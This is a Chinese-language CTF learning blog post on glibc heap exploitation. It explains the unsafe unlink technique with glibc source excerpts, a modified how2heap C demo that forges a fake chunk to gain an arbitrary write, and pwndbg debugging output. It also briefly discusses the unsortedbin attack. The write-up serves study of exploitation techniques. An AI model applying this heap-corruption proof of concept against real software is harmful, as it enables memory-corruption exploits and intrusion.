0x00 在打lilctf的一道堆题的时候意识到自己还没记录过关于unsafe unlink
与unsortedbin attack
,于是来记录一下
0x01 关于unsafe unlink 从双向链表取出chunk的过程即为unlink(在 glibc 源码中,unlink
是一个宏/函数,用来把一个双向链表中的 bin 链接节点(chunk)移除),如下所示
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 static void unlink_chunk (mstate av, mchunkptr p) { if (chunksize (p) != prev_size (next_chunk (p))) malloc_printerr ("corrupted size vs. prev_size" ); mchunkptr fd = p->fd; mchunkptr bk = p->bk; if (__builtin_expect (fd->bk != p || bk->fd != p, 0 )) malloc_printerr ("corrupted double-linked list" ); fd->bk = bk; bk->fd = fd; if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL ) { if (p->fd_nextsize->bk_nextsize != p || p->bk_nextsize->fd_nextsize != p) malloc_printerr ("corrupted double-linked list (not small)" ); if (fd->fd_nextsize == NULL ) { if (p->fd_nextsize == p) fd->fd_nextsize = fd->bk_nextsize = fd; else { fd->fd_nextsize = p->fd_nextsize; fd->bk_nextsize = p->bk_nextsize; p->fd_nextsize->bk_nextsize = fd; p->bk_nextsize->fd_nextsize = fd; } } else { p->fd_nextsize->bk_nextsize = p->bk_nextsize; p->bk_nextsize->fd_nextsize = p->fd_nextsize; } } }
什么时候会进行unlink呢?一是free
合并相邻空闲chunk
时,需要把相邻块从bin中移除;malloc
从 bin 中取出 chunk
时,需要把该 chunk
从 bin 中移除。当然还有一些特殊情况时候也会进行unlink
,不赘述 既然是unsafe unlink
,我们看其检查机制
1 2 3 4 5 6 7 8 9 10 11 12 13 if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0 )) \ malloc_printerr ("corrupted size vs. prev_size" ); \ if (__builtin_expect (FD->bk != P || BK->fd != P, 0 )) \ malloc_printerr (check_action, "corrupted double-linked list" , P, AV); \ if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0 ) \ || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0 )) \ malloc_printerr (check_action, \ "corrupted double-linked list (not small)" , \ P, AV);
主要就是检查presize
和size
是否相同,以及要求FD->bk == P && BK->fd == P
(也就是双向链表的完整性) 如果我们修改P->fd
和P->bk
并且绕过上面的检查,也就可以进行一些“unsafe”的操作
1 2 fd->bk = bk; bk->fd = fd;
也就是可以利用这里进行攻击 话不多说写个demo调试(使用how2heap的源码并进行了一些修改)就明白了(于glibc2.35)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> uint64_t chunk_list[8 ];int main () { int malloc_size = 0x420 ; int header_size = 2 ; uint64_t *chunk0_ptr = (uint64_t *) malloc (malloc_size); uint64_t *chunk1_ptr = (uint64_t *) malloc (malloc_size); chunk_list[0 ] = (uint64_t ) chunk0_ptr; chunk_list[1 ] = (uint64_t ) chunk1_ptr; chunk0_ptr[2 ] = (uint64_t ) chunk_list - (sizeof (uint64_t )*3 ); chunk0_ptr[3 ] = (uint64_t ) chunk_list - (sizeof (uint64_t )*2 ); chunk0_ptr[1 ] = 0x421 ; uint64_t *chunk1_hdr = chunk1_ptr - header_size; chunk1_hdr[0 ] = malloc_size; chunk1_hdr[1 ] &= ~1 ; free (chunk1_ptr); char victim_str[8 ] = "victim" ; char hacked[8 ] = "hacked" ; *((uint64_t *)chunk_list[0 ]+3 ) = (uint64_t ) victim_str; printf ("------- original vaule of victim_str is -------\n%s\n" , victim_str); strcpy ((char *)chunk_list[0 ], hacked); printf ("------- new vaule of victim_str is -------\n%s\n" , victim_str); }
很多时候都会使用一个全局的chunk_list
来管理各个chunk
,而这也给了unsafe unlink
可乘之机,直接开始调试 进行到0x421那一行后,我们看堆布局
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x555555559000 Size: 0x290 (with flag bits: 0x291) Allocated chunk | PREV_INUSE Addr: 0x555555559290 Size: 0x430 (with flag bits: 0x431) Allocated chunk | PREV_INUSE Addr: 0x5555555596c0 Size: 0x430 (with flag bits: 0x431) Top chunk | PREV_INUSE Addr: 0x555555559af0 Size: 0x20510 (with flag bits: 0x20511) pwndbg> x/30gx 0x555555559290 0x555555559290: 0x0000000000000000 0x0000000000000431 0x5555555592a0: 0x0000000000000000 0x0000000000000421 0x5555555592b0: 0x0000555555558028 0x0000555555558030 0x5555555592c0: 0x0000000000000000 0x0000000000000000 0x5555555592d0: 0x0000000000000000 0x0000000000000000 0x5555555592e0: 0x0000000000000000 0x0000000000000000 0x5555555592f0: 0x0000000000000000 0x0000000000000000 0x555555559300: 0x0000000000000000 0x0000000000000000 0x555555559310: 0x0000000000000000 0x0000000000000000 0x555555559320: 0x0000000000000000 0x0000000000000000 0x555555559330: 0x0000000000000000 0x0000000000000000 0x555555559340: 0x0000000000000000 0x0000000000000000 0x555555559350: 0x0000000000000000 0x0000000000000000 0x555555559360: 0x0000000000000000 0x0000000000000000 0x555555559370: 0x0000000000000000 0x0000000000000000 pwndbg> p &chunk_list $2 = (uint64_t (*)[8]) 0x555555558040 <chunk_list>
可以看到我们在chunk0内部造了一个fakechunk,size为0x420 我们将fakechunk->fd
设置为chunk_list-0x18
,将fakechunk->bk
设置为chunk_list-0x10
,这样一来,检查FD->bk == P && BK->fd == P
也就通过了,因为
1 (chunk_list-0x18)->bk == chunk_list-0x18+0x18 == chunk_list == (chunk_list-0x10)->fd == chunk_list-0x10+0x10
chunk_list[0]
索引的正是这里的P
然后我们还需要修改后续chunk1的presize
,因为是通过其presize
来定位前一个chunk
的堆头的,然后还要设置其previous_in_use
位为false,以便于让fakechunk看起来是一个free的chunk
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 pwndbg> x/30gx 0x5555555596c0 0x5555555596c0: 0x0000000000000420 0x0000000000000430 0x5555555596d0: 0x0000000000000000 0x0000000000000000 0x5555555596e0: 0x0000000000000000 0x0000000000000000 0x5555555596f0: 0x0000000000000000 0x0000000000000000 0x555555559700: 0x0000000000000000 0x0000000000000000 0x555555559710: 0x0000000000000000 0x0000000000000000 0x555555559720: 0x0000000000000000 0x0000000000000000 0x555555559730: 0x0000000000000000 0x0000000000000000 0x555555559740: 0x0000000000000000 0x0000000000000000 0x555555559750: 0x0000000000000000 0x0000000000000000 0x555555559760: 0x0000000000000000 0x0000000000000000 0x555555559770: 0x0000000000000000 0x0000000000000000 0x555555559780: 0x0000000000000000 0x0000000000000000 0x555555559790: 0x0000000000000000 0x0000000000000000 0x5555555597a0: 0x0000000000000000 0x0000000000000000
这样一来便绕过了size vs. prev_size
的检查(前面已经设置fakechunk的size(with flag bits)
为0x421),这时候只需free
掉chunk1,就会触发unlink
1 2 fd->bk = bk; bk->fd = fd;
我们看实际效果
1 2 pwndbg> x/2gx chunk_list 0x555555558040 <chunk_list>: 0x0000555555558028 0x00005555555596d0
可以看到chunk_list[0]
被写入了chunk_list-0x18
,这时候我们其实就可以利用这个全局chunk_list
来进行任意地址写了 看demo中的简单利用
1 2 3 4 5 6 char victim_str[8 ] = "victim" ;char hacked[8 ] = "hacked" ;*((uint64_t *)chunk_list[0 ]+3 ) = (uint64_t ) victim_str; printf ("------- original vaule of victim_str is -------\n%s\n" , victim_str);strcpy ((char *)chunk_list[0 ], hacked);printf ("------- new vaule of victim_str is -------\n%s\n" , victim_str);
*((uint64_t*)chunk_list[0]+3)
其实就是((uint64_t*)chunk_list[0])[3]
,这里也就是向chunk_list-0x18+0x18
也就是chunk_list[0]
写入一个地址,后续使用chunk_list[0]
来进行写入的时候,也就实现了任意地址写 看最后demo运行效果
1 2 3 4 5 6 pwndbg> c Continuing. ------- original vaule of victim_str is ------- victim ------- new vaule of victim_str is ------- hacked
0x02 关于unsortedbin attack 稍微回顾一下, unsorted bin
也是以双向链表的方式进行组织的,和fastbin
不同的是其分配方式是FIFO
,即一个chunk放入unsorted bin
链时将该堆块插入链表头,而从这个链取堆块的时候是从尾部开始的,因此unsorted bin
遍历堆块的时候使用的是bk
指针unsortedbin attack
其实也是利用unlink
操作,我们看
1 2 3 4 5 if (__glibc_unlikely (bck->fd != victim)) malloc_printerr ("malloc(): corrupted unsorted chunks 3" ); unsorted_chunks (av)->bk = bck; bck->fd = unsorted_chunks (av);
这里换而言之,如果我们控制了 bk
的值,我们就能将 unsorted_chunks (av)
写到任意地址 这个unsorted_chunks (av)
的值,其实是main_arena
的某个偏移处,可以修改global_max_fast
,或者向题目存在的chunk_list
写入main_arena
地址 然而在高版本加入双向链表完整性检查机制后,这基本已经被宣判了死刑,关于unsortedbin
使用的更多的一般是unsortedbin leak
了,所以不再赘述